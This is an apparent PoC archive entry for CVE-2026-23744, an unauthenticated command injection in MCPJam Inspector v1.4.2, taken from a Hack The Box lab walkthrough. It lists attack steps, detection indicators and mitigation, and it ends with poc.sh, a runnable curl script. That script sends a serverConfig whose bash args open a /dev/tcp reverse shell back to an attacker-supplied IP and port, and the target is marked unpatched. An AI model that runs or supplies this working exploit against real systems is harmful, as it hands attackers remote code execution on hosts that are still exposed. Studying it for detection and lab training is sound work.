PoC Archive PoC Archive
Critical CVE-2026-23744 unpatched

MCPJam Inspector Unauthenticated Command Injection RCE (CVE-2026-23744)

by timgad794 (HTB "DevHub" walkthrough author) · 2026-07-05

Severity
Critical
CVE
CVE-2026-23744
Category
web
Affected product
MCPJam Inspector v1.4.2
Affected versions
v1.4.2 (as encountered in the HTB "DevHub" machine)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researchertimgad794 (HTB “DevHub” walkthrough author)
CVE / AdvisoryCVE-2026-23744
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsmcpjam-inspector, mcp, command-injection, rce, curl, hack-the-box, reverse-shell, chained-privesc
RelatedN/A

Affected Target

FieldValue
Software / SystemMCPJam Inspector v1.4.2
Versions Affectedv1.4.2 (as encountered in the HTB “DevHub” machine)
Language / PlatformHTTP API exploited via curl; target service is Node/JS-based MCP tooling
Authentication RequiredNo
Network Access RequiredYes

Summary

This repository is a German-language Hack The Box “DevHub” walkthrough that documents a full attack chain, one step of which is a genuine, directly reusable RCE against MCPJam Inspector v1.4.2 (CVE-2026-23744). The vulnerable /api/mcp/connect endpoint accepts a serverConfig object with command/args fields that are executed on the host without validation, letting an unauthenticated attacker POST a JSON body that spawns bash -c '<reverse shell>' and obtain a shell as the mcp-dev service user. The rest of the walkthrough (Chisel tunneling, Jupyter token theft, an internal ops API, and root SSH key exfiltration) is included for context but is specific to the HTB lab environment rather than the CVE itself.


Vulnerability Details

Root Cause

The MCPJam Inspector /api/mcp/connect endpoint executes the attacker-supplied command and args fields from the JSON serverConfig payload without restricting them to legitimate/allow-listed executables, enabling arbitrary command execution.

Attack Vector

  1. Identify MCPJam Inspector v1.4.2 exposed on its service port (e.g. 6274).
  2. Start a netcat listener on the attacker host.
  3. POST a JSON body to /api/mcp/connect with serverConfig.command set to bash and args set to ["-c", "bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1"].
  4. The service executes the command, returning a reverse shell as the low-privilege mcp-dev user.
  5. (Environment-specific) Further lateral movement/privesc steps in the walkthrough are unrelated to the core CVE.

Impact

Unauthenticated remote code execution on the host running MCPJam Inspector, providing an initial foothold for further compromise.


Environment / Lab Setup

Target:   MCPJam Inspector v1.4.2 (HTB "DevHub" machine, port 6274)
Attacker: curl, netcat listener

Proof of Concept

PoC Script

See poc.sh in this folder. No standalone script file was included in the source repository — the working payload was embedded inline in its README as a curl command; poc.sh reproduces it verbatim as a runnable script.

1
2
nc -lvnp 4444
./poc.sh devhub.htb 10.x.x.x 4444

Running this script against a vulnerable MCPJam Inspector instance POSTs a malicious serverConfig to /api/mcp/connect, triggering a reverse shell connection back to the attacker’s netcat listener as the mcp-dev user.


Detection & Indicators of Compromise

POST /api/mcp/connect HTTP/1.1
{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/..."]}}

Signs of compromise:

  • POST requests to /api/mcp/connect containing shell interpreter names (bash, sh) in the command field.
  • Reverse-shell network connections (/dev/tcp/...) originating from the MCPJam Inspector process.
  • Unexpected child processes spawned by the mcp-dev service account.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationDo not expose MCPJam Inspector directly to untrusted networks; front it with authentication and allow-list permitted command values on /api/mcp/connect

References


Notes

Mirrored from https://github.com/timgad794/DevHub-HTB-Walkthrough on 2026-07-05.

poc.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env bash
#
# CVE-2026-23744 - MCPJam Inspector Unauthenticated Command Injection RCE
#
# Source: timgad794/DevHub-HTB-Walkthrough (German-language HTB "DevHub"
# writeup). No standalone script was published upstream — the working
# payload is embedded inline in the walkthrough's README as a curl command.
# This script reproduces that documented curl PoC verbatim.
#
# Usage:
#   ./poc.sh <target_host_or_ip[:port]> <attacker_ip> <attacker_port>
#
# Example:
#   ./poc.sh devhub.htb 10.10.14.5 4444

set -euo pipefail

TARGET="${1:?usage: poc.sh <target_host[:port]> <attacker_ip> <attacker_port>}"
LHOST="${2:?missing attacker IP}"
LPORT="${3:?missing attacker port}"

# Default MCPJam Inspector port if not included in $TARGET
case "$TARGET" in
  *:*) URL="http://${TARGET}/api/mcp/connect" ;;
  *)   URL="http://${TARGET}:6274/api/mcp/connect" ;;
esac

echo "[*] Start a listener first:  nc -lvnp ${LPORT}"
echo "[*] Sending malicious serverConfig to ${URL} ..."

curl -X POST "${URL}" \
  -H "Content-Type: application/json" \
  -d "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}"

echo
echo "[*] On success, the netcat listener on ${LHOST}:${LPORT} receives a"
echo "    reverse shell as the mcp-dev service user."